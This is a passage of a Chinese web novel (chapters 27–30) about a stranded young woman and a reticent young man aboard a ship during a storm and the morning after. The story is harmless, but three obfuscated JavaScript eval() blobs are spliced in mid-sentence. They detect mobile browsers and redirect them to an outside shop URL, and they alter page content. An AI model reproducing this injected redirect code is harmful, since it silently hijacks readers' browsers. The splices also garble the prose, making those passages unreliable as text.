青年只往底下扫了一眼,便看向了天边。那边的云彩在温知和眼里跟往常没什么不同,在常年生活在海上的人们看来却不一样。 “晚上可能会下雨。”青年说。 “很大吗?” “有可能,”他说,“最好提前做好准备,在房间里备一些食物和饮用水。如果暴风雨来了,船上会禁止外出。” 27. 第二十七章 云在大海与天空交接的地方一点点堆积起来。 海上的人们擅长看云,白天那会儿它还只是要下雨的意思,到了下午,一团团云越堆越多,形状越发莫测,船民们便高嚷着暴风雨就要来了,七手八脚地把早上刚搬出来的箱子又纷纷搬回去。 平日里放在外面的桌椅、清洁工具、大小筐子一类的杂物要就近收进室内,船上有的地方要加固,有的地方要修整,水手们还四处检查着船体的状况,到处都闹哄哄的。 温知和也帮忙搬了不少东西。虽然语言不通,但看着船民们的动作,有学有样地跟着把几个袋子扎好口从这里拎到那里,又把几个筐子从这边搬到那边,出了一身汗,倒也做得很顺手。周围人有时冲她说话,叽里咕噜一个字儿也不明白,表情却很热情,有时候还给她搭把手。 她时不时也会在人群里看见青年的身影。 明明是地位超然的“使者”,但他很少有高高在上的作态。眼下暴雨将至,他也在船民中间帮忙。有一次看见他领着几个水手在甲板上仔细查探,还有一次看见他拿着海图眺望着天边,偶尔侧身与戴尔蒙徳管事交谈,可能是在谈天气,也或许是在商议航向。有几次也在挤满人的走廊上碰见了,他会随手帮最体力不支的人们把东西搬了,一句话也不会说,但动作比谁都更利落。 船上热火朝天,随黄昏降临,遥远处的云团果真渐渐渗出了灰黑色。再然后,墨色晕染、扩散,半边天都变得黑压压的。这是一个没有晚霞的傍晚,天空阴沉萧索,海浪也越来越大。 一切大多已收拾好了。 大熊星座号上食堂提前开了餐,大家吃完东西,又在戴尔蒙徳管事的招呼下排队领了半日的食粮、淡水,便纷纷四散而去,很快便回到了各自的舱室里,门窗紧闭。 暴风雨要来了。整艘船前所未有地安静下来,只听见越来越大的风声,裹挟着海浪,吹响了船旗。外面的走廊、甲板上只剩下稀稀拉拉几个还在做收尾工作的水手。 温知和回了自己的房间。 这一片比别处都更安静,因为附近不是居民区,而是货舱。她这个单人间,大概是上船之初他们为了安顿她特意腾出来的。 刚才大家忙着把外面的东西挪到室内,目的地大多便是这附近,有些散件隔壁货舱装不下,就堆在了她的房间门口。 ——不。严格来说这也说不上是“她的房间”。 船上并不是她的家,她只是借住在这里。这小小的单人间原本就是他们的货舱。 温知和艰难地从货物们中间穿过去,又艰难地把门开出一条足够宽的缝,把自己缩了进去。 窄小的房间里不过一张床、一张桌子、一把椅子,条件简陋,在外面黑云压城的氛围里简直像一座经不起风吹雨打的小木屋。 窗玻璃颤了一下。海面上开始起大风了。 温知和把领回来的食物和水在桌子上放好,便长吁一口气坐到了床上,揉捏着酸痛的脚踝。干活儿的时候没注意,这会儿看着才发现都有点起水泡了。 自从大学军训过后,她的运动量就没像今天这么大过。 她揉了脚踝,又慢慢往上揉小腿肚子,渐渐觉得房间里有点闷。暴雨前夕,空气里的水汽含量很高,天气又热,还不能开门开窗通风。简直是个密封罐子。 窗玻璃又颤了一下。这次比刚才还更响了。 可能是因为风更大了。 温知和下意识地朝那边抬起头来,想看看外面的天色到底怎么样了,却忽然间被吹了一脸的风,继而是玻璃破碎的声音。 手臂上忽然一热。 “啊——!” 脆弱的窗玻璃碎了。方才还隔了一层的、闷闷的风声海浪声变得清晰可闻,几乎让人觉得恐怖,碎玻璃砸在桌上、地上,残留在窗框上的全是尖刺。 温知和手臂上出血了。刚才玻璃爆碎的时候有一片飞了过来,擦过了右手小臂。伤口看着不深,但不断地在出血。 风从破口处涌进来,刮在她身上,仿佛一只魔爪,要把她拉出去。 这个房间不能再待了。 温知和急急忙忙地站起身来,踩过一地的碎玻璃,开了门就要往外走。外面被货物堵住了。又只能艰难地推出一条宽缝,把自己挤出去。手臂上渗出的血慢慢染红了衣服。 船开始有点晃晃悠悠的了,内走廊上空无一人。这附近是货舱。她捂着出血口往外走。新伤的麻痹期渐渐过了,伤口像是反应过来,疼痛感越来越清晰。她开始呲牙咧嘴,嗓子里不时发出压抑的唔唔声。 出了走廊,外面已几乎没人了。 天空灰暗,空气里飘着雨,大熊星座号像个老旧的音乐盒,在海浪起伏间发出吱呀作响的声音。 温知和冒着风冒着雨跑了一段,进了楼梯间,下了楼就往医务室跑。但医务室大门紧闭。船医并没有留守在这里,也许是回家去了。门上贴着告示,密密麻麻的马来文字,在她眼里毫无意义。 她用力推了推门。纹丝不动。 “不是吧——!!” “有人吗?有人吗?” 四下里无人应答。唯一的回应是越来越摇晃的地面。再不找地方躲好就来不及了。 好像只有一个地方可以去了。 温知和急匆匆地掉头离开,一出了内走廊到了外面,淋着雨走了没两步就听见有人在喊她。 喊的只能是她。因为是中文。 “怎么还在外面?” 温知和朝声音传来的方向努力看过去,雨渐渐大了,让人有点睁不开眼睛。只能看见一个颀长的身影带着几个水手正从甲板那边走过来,大概是做完了最后的检查工作。 他来得很快。 温知和解释说,“我房间的窗玻璃坏了。还有,还有医务室怎么不开门啊……” 青年已看见她手上渗出一片血的伤口,没多说什么,伸出手把她揽住了,让她能在风雨里晃来晃去的船上站稳。 他转头高声朝后面的几个水手交代了些什么,便大步带着她往楼梯间的方向走。他的体温贴在她身上,让人有一种安心感。 青年道,“还能走吧?” “嗯。” “那就跟我走吧。” - 大熊星座号的顶层,到处都没什么人,黑漆漆的,只有雨越下越大。青年住的地方是这里唯一的一点光亮。 这个房间古旧而宽敞,附带单独的洗漱间,乍一眼看着还算得上干净整洁,经得住临时访客的打量。旧桌子、旧柜子上的东西分类放得很有条理,大床上的被子是叠好的,地上也没什么杂物。 只不过,细看之下,倒也有些“乱”的地方。椅背上有随意铺着的外套,歪歪扭扭的;桌上还摊着一本没看完的书,旁边的笔用完了,笔帽却没盖上。这里一处,那里一处,流露着主人生动的生活细节。他不是一丝不苟的机器人。 青年招呼着温知和在沙发上坐了,便从床底下拉出一个半米长的棕色硬皮箱子,里面装着生理盐水、纱布、碘伏、各式各样的常用药。 温知和还是第一次见到这么大的医药箱,装备真够齐全的。 “你经常受伤?”她说。 青年从箱子里挑出了需要的东西,朝着她走过来。“我上这艘船以来,今天还是第一次开这个箱子。”他在她面前蹲下,“手松开。” 温知和松开捂着伤处的手,把伤手递给他。血已经在袖子上浸出了一道红痕,又被雨水晕染开。 青年轻轻把她有些濡湿的袖子捋到手肘处折好,凝神看了看皮肤上的伤口。不深,而且没有残留的碎玻璃渣,情况不算很糟。 他开了一瓶生理盐水,温知和下意识地把手往后缩了缩。“不会痛吧?” “会。” “……你轻点。” “行。” 他清洗伤口的动作的确轻,只是冰冰凉凉的液体碰上渗血的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001516|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口子,天然的疼痛刺激感还是让温知和微微吸了几口凉气。 接着是消毒和包扎。青年的动作认真而细致,显然注意力全在手上。温知和不好开口打扰,一会儿低头看看他,一会儿又看看别处。 外面的雨渐渐大了,隐约开始有雷声。房间门窗紧闭,也许能把所有的喧嚣和危险都挡在外面。 她看见他左耳下的赤红耳钉在灯光映照里发亮,随他动作,那亮也微微摇晃着,有时隐隐暗下去,有时又流转着现出来。 她看见他额头靠近发际线的位置有一颗很小很淡的痣。她想起他耳后也有。 青年抬起头来时,恰好迎上了温知和的视线。他捏了捏她的手指。“包好了。” “噢!”她一下子低头去看,方才还狼藉一片的伤口被收拾得很妥帖,洁白的纱布上打着漂亮的结。“谢谢……谢谢。” “到床上去睡吧。这里让给我。”他用手指点了点她的沙发靠背。 温知和很客气地说,“让主人睡沙发会不会不太好?要不还是我在这里将就一下。” “你是认真的还是客套一下?” “我认真的……” 他望着她,“行。” 下一秒,他站起身来,影子黑黑地罩在她脸上身上,竟有点压迫感。 再下一秒,她身体一轻,被他打横抱起来了。 “干嘛……!” “手别动。我才包好的纱布。” 青年大步走到床前,把温知和放下了,随手一拉还给她盖上了被子——指,连脑袋也一起盖进去了。仿佛货物送到目的地,还给了个包装。 温知和手忙脚乱地把被子从脸上拉下来,便看见青年悠悠哉哉地坐在沙发上。 “喂……!” 这个喂字他是一点也没接,只说,“你要换衣服吗?” 她低头看了看。的确,衣服裤子都有点淋湿了,不可能就这么睡觉。但是,“……我没带换洗衣服。” 他像是在忍笑。“那怎么办?” 她目光游离,“或许……你有多余的不要的衣服吗?” “打开衣柜自己选吧。”他起身往洗漱间走去,“我在那里面等你。你好了,就叫我一声。” “好的。” 等洗漱间的门关上了,温知和才一面望着那边,一面试探着下了床,打开了床边的衣柜。青年的衣服其实并不少,只不过大多都是黑、白、灰色的,以至于在人印象里他好像一直都穿得差不多。 温知和在里面小小地翻找了一阵。 她找到一件黑色T恤,宽领的,上面有简单的轮船图样。她攥紧了它,迟疑了几秒,还是选定了这一件。 他的衣服对她来说很大,明明是T恤,却穿成了短睡裙。 她缩进被子里。“我好了!” 咔哒一响,洗漱间的门开了,但青年并没立马走出来。里面有刷牙的声音。 温知和已经有点累了,却仍想着,待会等他出来了,她也要去漱个口洗个脸。 - 夜已深了。 互相道过晚安后,青年熄了灯,两个人一个睡床,一个睡沙发。 没人说话,只能听见外面的风雨声。船剧烈摇晃着,不时发出嘎吱声响。温知和在黑暗中辗转反侧,越来越清醒,根本睡不着。 这是他的床。 他盖的被子,他用的枕头,全是他的气息。 他本人还就在不远处。那张沙发挺硬的,睡起来应该并不舒服。 温知和试图数羊。一只羊。两只羊。三只羊。她想吃羊肉串了。或许应该数水饺,因为水饺才真正跟睡觉谐音。可是水饺也很好吃。 她又翻了一个身。 暴雨轰鸣而下,不时有闪电划破夜空,雷声席卷着海浪。空气像是被搅得沸腾,根本听不见是否有另一个人入睡后绵长的呼吸声。 “哎,”她朝沙发那边唤了一声,“你还醒着吗?” 28. 第二十八章 那边似乎有“嗯”的一声,太简短,混杂在风雨声里完全听不清。也不知道他是不是真的回应了。 温知和抬高了声音,又问了一次,“你在不在啊?” 这次她确信他听见了。沙发那边虽没传来任何言语上的回应,却有窸窸窣窣的起身动静。接着是慢悠悠的脚步声。 一个修长的人影到了床前。 “你想干什么?” 青年的声音听着比平时多了点慵懒,可能刚才还真浅睡了一阵。 温知和抱着被子坐起身来,老实地说,“我睡不着。”她指了指暴雨肆虐的窗户外面,“今天晚上会一直这样吗?” “不会。” 她下意识地有点安心,但紧接着又听见他毫无波澜地说,“这才刚开始。” “……” 她还没见过真正的暴风雨呢。现在雷鸣电闪,雨势骇人,放到她从前的生活经历里已经是难得一遇的极端天气,可对于大海来说,才不过是个开胃的前菜。 仿佛是在配合青年说的话,舷窗外面蓦地划过一道极刺眼的闪电,整个屋子瞬间亮如白昼,桌子柜子、衣服鞋子、水杯笔记本……所有事物仿佛融在了一起,在地上墙上拉出狰狞的黑影子,变成了不可名状的怪物。 来不及等人看清,一切又都暗下去了。巨大的雷鸣声一下子炸开,仿佛能把船撕成碎片。温知和难受得捂住耳朵。雷声还没过去,似乎又有一个大浪涌过来,整艘船被浪峰极速托起,又在轰然间坠下,震颤得像是要散架。 过了几秒,又隐隐平静了。雨声依旧,只是暂时停了雷鸣,大浪也缓了些。 温知和喘着气松开了耳朵,回过神来,发现青年已在床边坐了下来,像是对一切都习以为常了,眉毛也没跳一下。 他说,“害怕打雷?” “没。”她深呼一口气,平复着余悸,顺口便说着,“我以前在家挺喜欢打雷下雨的,感觉是很奇特的体验,很像在大海里乘风破浪。”她像卡了一下,忽然反应过来,表情垮了,“……乘风破浪。” 某种意义上倒真挺像一语成谶的。又或许应该叫叶公好龙。其实真正的乘风破浪一点也不好玩。 船在暴风雨中又冲上了一个浪头,失重感让肾上腺素瞬间飙升。 温知和抓着被子狠狠地闭上了眼睛,等待着船从浪头掉下去的恐怖时刻。先等到的却是手上温暖的触感,青年的掌心宽厚而粗糙,让人有一种被接住的安全感。她心跳加快,反过来捏紧了他,忽然间船终于往下冲了,她只是把他捏得更紧。 船在海浪中颠簸着。两人十指相扣。 温知和没头没脑地说,“谢谢。” “谢谢?” 明明外面那样吵,她却听见了他的呼吸声。 他很低地说,“伤口还疼吗?” “没什么感觉……” 两个人都坐在床上,距离很近,温知和一抬眼,便能借着闪电光亮看见青年脖颈下的那些旧伤痕。一道又一道,离致命的位置这么近。 她用那只没被他牵住的手往自己身上同样的位置指了指,问,“这是什么时候的事啊?” 这个问题她之前问过。 他笑了笑,“是真的忘了。” “当时疼不疼啊?” “有一点吧。” 白亮的闪电掠过窗外,低沉的雷声远远近近地响成了一片。大熊星座号在海面上摇曳,床发出吱呀作响的声音,惯性之下,她离他又近了一点。 周围一点人声也没有,仿佛世界上只剩下他们两个。 温知和越来越觉得热。不知是从青年身上传来的温度,还是她自己的原因。 这种时候,该说些什么好呢?好像说什么都很多余。 可如果一直沉默着,那种不可名状的热就会像火焰一样不断生长,连心也烧起来。 又是青年先开的口。“看过海上的日出么?” 不知为什么,温知和微微有些失落。也许那不是她期待的话题。太寻常了。像一场盛大绚烂的烟火明明就在很近的地方,却一直只听见一阵阵轰隆轰隆的响,怎么也看不见它究竟在哪儿。 她还是认真地答了。“之前还在陆地上的时候,在海边看过好几次。来船上以后……好像没有这个心情。” “明天早上可以看看,应该会很漂亮。” “因为暴风雨?” “嗯。” “现在这个风浪……这艘船真的不会散架吗?” 太寻常了,这些对话。好像两个人在走廊上碰见,可有可无地寒暄两句。砰。砰。砰。烟花明明就在什么地方,可一直都在兜圈子,满屋子都是黑的。 青年的回应也不过是平淡。“比这更大的风暴它也见过。”他说。 “……我倒是没有。” 她是土生土长的淮市人,就连读大学都读的是离家三公里外的Z大。除了短期出省出国旅游,十几年里一直都在淮市生活。那是一个很秀气的地方,好像连风雨也比别处温软。 青年道,“淮市有一年也来过台风,你不记得了吗?” “啊?” “零五年的夏天,十四级的强台风。当时还放了假,所有人都躲在家里,外面就像末日一样。行道树倒了,临街的窗玻璃碎了,地上的积水又黄又浑,有膝盖那么深。” 温知和慢慢想起来,“当时我家和大姨家一起去北京看外婆了。好像……还是在电视里看的台风新闻……” 那是相当模糊的记忆了。她那年才七岁。 她心里微微一动,忽然捉住一个点。零五年夏天的台风。所以,那一年他还在淮市。 “当时你家还好吗?”她问,“我看新闻里挺吓人的。” 青年回想着,“没什么大事,”他顿了顿,“就是风把院子里的桃树刮坏了,家里有人心情不好,天天迁怒,找我的麻烦,”他又顿了顿,“桃树……后来倒也重新种了一棵。” 大熊星座号仍在海浪中颠簸,外面风雨雷声不断。温知和心里像是有什么柔软的东西轻轻膨胀开,就像在黑暗里乱撞了很久,终于找到那片绚烂的烟花。 这是他第一次说起以前的事。说起真正的……关于他自己的事。仿佛一个模糊神秘的未知世界,终于隐隐向她掀开一角。 她说,“院子里有很多花吗?都有些什么?” “桃树,梅树,栀子,芍药,水缸里还有莲花,乱七八糟都有一点。不过养得不好。” “它们不会开花吗?” “会开。开一点。” “那就已经是很漂亮的花园了吧。那么多种花,一年四季总有开的。” “嗯。” “你一般会在那个花园里做什么?” “我?”那是太久以前的事了,青年在黑暗里想了很久。“看书、画画、写毛笔字、和朋友一起下棋……无所事事晒太阳。没什么特别的。” 说是没什么特别的,可就那么短短几个词,少年人的生活景象呼之欲出。光是想想,也觉得那时的阳光一定很灿烂。 温知和忍不住在笑。“没有琴吗?” “什么意思?” “书画棋都有了,再来一个琴,四艺就齐了。” “我说的棋指的是五子棋。” “那也可以算。怎么样,有没有琴啊?” “口琴也算?” “可以啊。” 刚想打趣这么算来他也是低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014565|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配版的琴棋书画样样精通了,温知和忽然又听见他说,“钢琴。” “嗯?” 他又随口重复了一次,语气很寻常。“钢琴。” 她想起她见过他弹钢琴,是在船上的杂物室。不过,那时也不算是弹吧,更像是在琴键上敲着玩。她出于礼貌随口问过一句,还被他毫不留情地把天聊死了。 那时多尴尬。现在回想起来,感受倒是不太一样了。 温知和说,“所以你明明就是真的会弹。” “嗯。” “那你之前还骗我?” “我也没说我不会。” “好狡猾啊。” “嗯。我的确不是什么好人,所以我说的话你不要全信。” 青年的声音仍是平日里那种漫不经心的语调,雷雨夜的房间里黑漆漆的,看不清他的神色,难辨话中真假。 可是他手仍牵着她,掌心如此温暖。 如此真实。 吱——呀——吱——呀—— 这艘陈旧的邮轮又摇晃起来,外面的风浪一阵高过一阵。惯性之下,坐在被子里的温知和也难免有点摇摆。她觉得自己有时候离青年很近,有时候又离他很远。 正是在这个时候,她又问了一个问题。其实这也不过是个很寻常的问题,放在别人身上,也许不过是社交场合里一句不走心的闲谈。 “后来呢?你为什么离开淮市了呢?” 青年没有回答。一道闪电将屋里照得通明。刹那间,近在咫尺,她看见他神色莫测的脸,左耳下那枚破碎的赤色耳钉,像极了一滴至今未干的血。 雷声轰鸣里,船又一次极速冲上一个巨大的浪头。温知和控制不住身体的去势,一下子撞在青年身上,鼻子都撞疼了。 这是两个人今晚离得最近的一次。 与平时给人留下的那种漫不经心、总是略显疏离的印象不同,青年身上的气息干燥而温暖,很好闻,不知为什么让人觉得有点像那种巨大的毛绒熊娃娃,有一种令人安心的感觉。 船还是在摇。她也隐隐有点晃。一只手在她背后给了支撑的力量,他把她抱稳了。成年男性身体的热度像是有一股力量,通过皮肤传到她身上。温热的呼吸扑在她脖颈间。 明明物理上的距离这么近,他一开口,却好像又一下子远了。 他转移话题的时候从来都不带铺垫。“船上的东西吃得习惯吗?” “……还好吧。我不挑食。” “明天或者后天到了阿甲村,可以买一点水果。” “……贵吗?” “还好吧,只要你不挑食。” “……” 他就这样把她抱在怀里保护着,嘴里说的却始终是无关紧要的话题。她有时顺着接话,有时试图拐弯抹角地再打听些什么,可她是生涩的猎人,而他从来都不是猎物。对话一直持续下去,那些关于过去的事,再也没提起过。 窗外暴雨不停,青年怀抱温暖,温知和竟是渐渐睡过去了。那一阵又一阵的雷鸣,不过是变成了梦中的鼓点。 她脑袋低下去,长长的黑发垂落颊边,像关上了小小的私人窗帘。青年伸出修长的手指,把它们拂到她耳后。她脸颊的轮廓有一种消瘦,像一掬水离开水源后在烈日灼烧下渐渐蒸发、变少。自从被迫离开熟悉的世界,她大概没有睡过一场好觉。 她的长发又垂了下来。他又把它们拂到后面去。她梦中呓语几句,听不清念的是什么,脑袋在他脖颈间蹭了蹭,头发像跟他捣乱,又垂下来了。 青年有一点想笑,向怀中人熟睡的脸伸出了手。 却又停在半空里。 最后,不过是像先前那样又把头发别到耳后去。 29. 第二十九章 次日清晨。 床头正对着窗户,被子里的温知和是被阳光叫醒的。身下的大熊星座号相当平稳,仿佛没有过昨天晚上的风暴。 她睡眼惺忪,翻了个身,隔了一阵听见外面的海鸟叫声,才揉着眼睛坐起来。 沙发那边传来书本合上的声音。 青年道,“醒了?” 温知和还没睁开眼睛,嗡嗡的声音是从鼻子里发出来的。“嗯……” “那我去洗澡了。” 她低着头迷迷糊糊地思索了三秒,然后,略带疑惑地说,“……这是什么需要报备的事情吗?” 青年道,“我怕水声吵到你。” 这句话之后是他的脚步声,继而是洗漱间的门合上的声响。再然后,里面传出淋浴声,动静果然不小。 温知和仍坐在床上,维持着原本的姿态一动没动。她早上起床,时常需要这么一个“启动开机”的过程,仿佛坐起来之后缠裹着脑袋的睡意也会受重力影响,慢慢退下去似的。 她感觉自己差不多启动完了,转身下床,伸了个懒腰,在生物趋光本能的影响下朝着窗外看出去。 好漂亮的朝霞。赤色染了半边天,整个大海都像是在发光,那种壮丽的样子几乎有点神圣。 她就这么一直趴在窗边看。 洗漱间里的淋浴声停了,啪嗒啪嗒,有几下带着水的脚步声。青年的声音隔着门响起来,伴着一点清爽的摩擦声,也许他正在擦头发。 他说,“你能不能出去一下?” 温知和下意识地朝那扇紧闭着的小门看过去,“为什么?” “我没带换洗衣服进来。” “……” 温知和忽然意识到,就隔着这么一扇薄薄的门,里面的人是没有穿衣服的。毕竟是洗澡。洗澡不穿衣服,逻辑上很通顺。 ——再通顺的逻辑也拯救不了十九岁的女孩一下子莫名其妙的慌乱,她几步路奔向外门,几乎是逃出去的。 海风扑面而来,那壮丽的朝霞还在。温知和伏在栏杆上,只觉得满天赤红都像是在嘲弄她脸颊耳尖上涨红的热度。她努力平复着呼吸,觉得有点没出息,又觉得以前有些路可能是没走对的。 ——比如,要是以前谈过恋爱就好了。这样的话,这会儿也不至于这么莫名其妙。明明也没发生什么。 身后传来门打开的声音。吱呀。金属门有点生锈。然后,又是脚步声。 从她起床到现在还不到半个小时,各式各样的声响就没停过,热闹得让心静不下来。和自己一个人住的时候一点也不一样。 换了一身白衬衫的青年走到温知和身边,像她一样伏在栏杆上。“难怪找了半天找不到,原来在你身上。” 她瞥了他一眼。他头发仍是湿的,发亮的水珠凝在发尾,在空气里划出一抹光亮,打湿了衣服。微微敞着的领口里露出那些旧年疤痕。这景象以前也见过。那时他在打电话。 她收回视线,声音里有刻意的用力,“你自己说随便我选的。” 青年道,“没有说不可以的意思。只是觉得很巧。” 字里行间,似乎有她身上这件衣服是他偏爱的一件的意思。温知和低头看了一眼。其实昨天选这件衣服的原因很简单。 这是在火车上第一次遇到他的时候,他穿的那件衣服。印着船只图案的黑色T恤,领口很宽,下摆于她而言很长,几乎可以当睡裙。布料上隐约仍有他的气息。 青年见温知和半天不动弹,笑了笑,转头看向远方。那里,朝霞正逐渐消散。“洗漱间我用完了。需要的话,你可以去了。你出来之前我不会进去的。” “噢……” 温知和进门之前,下意识地又转头看了青年一眼。他身体前倾,仍伏在栏杆上,也许是白衬衫的缘故,修长的背影显得有些清冷。 晨光在他身体的轮廓上罩了一层薄薄的光。 他似有感知,脑袋微微一动,就要转头看过来。她连忙进了门,动作有点急,关门声很响。 青年一个人的洗漱间比温知和平时在楼下用的公共盥洗室干净、宽敞得多。而且,也许是准备好了她这会儿要进来,连淋浴过后地上的水也拖干净了。 她索性也冲了个澡。 海上空气潮湿,一晚上过去,她昨天淋湿的外衣依然没有完全干,只好仍借他的衣服穿。磨磨蹭蹭地再打开门出去时,他还在原来的位置。 温知和说,“我好了。” 青年道,“你看。” 她挪过去。“干嘛?” 他指了指天边,“你看那片云。你知道像什么吗?” 她仰着头朝那边看,对着毫无形状的云左思右想,“像人?像狗?像炸鸡腿?” 青年很低地笑了一下,根据温知和的经验,这种笑之后他通常会说一些让人不大高兴的话,于是戒备起来。 他开口时恰好偏过脸来看着她,竟是很明显地停顿了一下,然后,很快地移开视线。“头发不擦吗?” “反正一会儿就干了吧……” 温知和用手指随意梳了梳头发,湿哒哒的,指缝里马上就沾了水。她往地上轻轻甩了甩,因这动作,视线也跟着往下瞟了一眼。 她头发又多又长,黑T恤上晕湿了一大片。她不觉得这是什么大事。 倒是身边的人没说话,视线一直放在海面上,好像,有点不自在。 温知和说,“所以……” “……什么?” “是像什么?” “什么像什么?” 他说话的时候一直看着栏杆外的海水,一次也没有看她。温知和莫名其妙有了一种扳回一城的感觉,就开始笑。 青年听见了。 “笑什么?” “你管我?”温知和悠悠地转了个身,背倚着在阳光照射下开始发热的栏杆,仰头望着一片澄澈的天空,“所以到底是像什么?刚才的云。” “它已经不见了。” “说过的话就不要卖关子。” “像沙滩帽。” “……啊?” 她一时没反应过来。 青年微微弯起手指,用指节敲着栏杆的金属表面,低低的声响有一种节奏。他说,“造型很浮夸,帽沿很大,上面还有假花、蝴蝶结丝带……你应该见过吧?” 他手指下的动作停了。没了那细微的声响,周围的静仿佛一下子浓了几度。温知和的表情渐渐凝在脸上。 她想起来了。那个东西。 ——两个人第一次见面的时候堪称她的社死场面。一个包往行李架上放,东西不停往下掉,先是一个相机砸下来,继而是可乐,然后一顶沙滩帽直接盖在了他脸上。 “噗……哈哈哈哈哈哈哈!” 她弯着腰笑起来,湿湿的长发从两侧垂下来,随她笑得微微颤抖的身体有一下没一下地往地上掉水。青年也笑了一阵,方才那种微妙的不自在的氛围消散无踪,空气里只剩下没有隔阂的笑声。 但她有点停不下来了。 青年道,“差不多了吧?” 温知和在笑里抽出空来说话,“对不起……我的笑点……哈哈哈哈哈……” 她就是一个有着奇妙笑点的人。 笑着笑着,她也会想,他怎么会突然觉得一片云像那顶帽子呢?也许他见了她身上这件衣服,也想起了那天。 青年说,“那你继续,我要先进去了。” “啊?等等……等等……哈哈哈哈……喂……” 她抓住他的袖子。青年伸出两根手指推了一下,没推动。“有事?” “没事。” “那是怎么了?” “没怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024103|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀。”她一直弯着腰笑,也就没怎么顾得上思考说出口的话,仰着头眼睛亮晶晶地看着他,“再陪我一下嘛。” “陪你做什么?” “陪我……不做什么。就是不做什么。” 他似乎说了一句什么,她没听清。但他的确是没走了。就这么任她牵着袖子,在没有旁人的走廊上吹风。直到太阳越来越高,栏杆外传来底下三层越来越热闹的人声。大家都起来了,这一天已正式开始了。 温知和肚子饿了。 她忽然意识到自己该走了。昨晚,不过是事发忽然,借宿一次。她总是要回去的,自己那件外套这会儿也差不多该干了。 她松开青年的袖子,他却朝她勾勾手。“进来一下。” “干嘛?” “第一是换药。第二……” 第二是什么,青年没有立刻说。但两个人进了屋,给温知和检查了昨天的伤口,又重新敷了药、包了纱布之后,他打开了位于屋内阴凉处的一个木抽屉,从里面拿了点东西出来,放在桌子上。塑料包装袋发出轻微的声响。 温知和怔了怔。 那是些包装幼稚的袋装饼干、糖果和巧克力,阳光映射在上面,印在角落里的小商标像是发着亮。 ——东湖记。 是那天在火车上,她随手分享给那时还是陌生邻座的青年的小零食。 它们于她,在那时不过是随手可得的小玩意,妈妈在行李箱里装了好多,根本吃不完。现在看着,却仿佛好遥远、好遥远的一个过去。再说,船上的饮食一向粗糙,这些突然出现在眼前的小零食简直是稀有之物。 青年道,“拿去吧。” “……你一直留着?” “嗯,”他想了想,像是发现了命运的某些巧合,“不过没想到留到最后还是要进你这个主人的肚子。” “一起吃吧。” “本来就没多少,再分就更不剩什么了。” “我是主人我做主。” 她撕了一袋饼干。分量真挺少的,才三片。她自己咬了一片,另一片递给他。青年望她一阵,终于低下头来,用嘴接了。 温知和把自己的那一片一点一点嚼着。干脆的口感,奶香味溢满唇齿间,好久违的味道。若是闭上眼睛,好像一下子就回了家里去。 剩下一片她掰碎了,一人一半。 “好吃!”她说。 “嗯。” “那剩下的就先放在你这里吧,我们每天吃一袋,也够好几天呢。要是让我带走,可能中午不到就全没了。” “好。” 她看着他转过身去把剩下的收回原位。 两个人中间恰好隔了一扇窗户的距离,明亮阳光从外面照射进来,在空气里映出一道明显的光痕。 这距离,好像一道窗户纸。 温知和的笑意一点点收敛起来。一早上像坐过山车一样忽高忽低、变化莫测的心情,在这一刻仿佛来到了终点。 ——那应该会是一道永远都不会被戳破的窗户纸吧。 她以为心渐渐沉下去,看清了某种真相。可世界上的事如果真的那么简单,人与人之间又怎么会有如此多的纠葛。 才过了几秒钟,空气里传来木抽屉合上的声音。继而是青年的说话声。他的声音漫不经心,一如往常。“如果今天晚上船还没有靠岸的话,就再来这里吧。” “……啊?” 他说话时仿佛一切天经地义,“船上都在为登陆阿甲村做准备。你的房间应该暂时没有人手去修。” “噢……也是。” “来的时候直接敲门就好。” 温知和把手背在身后,身体微微往前倾,沐浴着从窗外射进来的那股阳光。她的心已再次雀跃起来。 “好啊,”她说,然后,又说了一次,“好啊。” 30. 第三十章 然而,让温知和有点失望的是,当天下午遥远处海天交接的地方就出现了陆地的影子,船上忙活起来,连航速也明显快了不少。显然今天就要登陆了。 她去找戴尔蒙徳管事报备房间窗户玻璃破了的事情,那个有点神经质的男人正在小办公室的纸堆里忙乎,听她那么一说,都没看她一眼,就回了一句,“知道了。” “大概要修多久啊?”她问。 “两年吧。” “……哈?” “……”戴尔蒙徳管事自己也沉默了一下,“你刚才问的什么来着?” “我房间的窗户玻璃碎了……” 他思索片刻。“要不自己先拿胶水粘一下?” “你要不要听听你在说什么?” “好吧。首先,你房间的玻璃碎了;其次,你自己解决不了。那就只能派人了。” “所以大概需要多久呢?” “两个月?” “……” 温知和一时半会儿分辨不出这到底是这个男人自己的问题,还是说——其实跟行政部门打交道差不多都这样子。 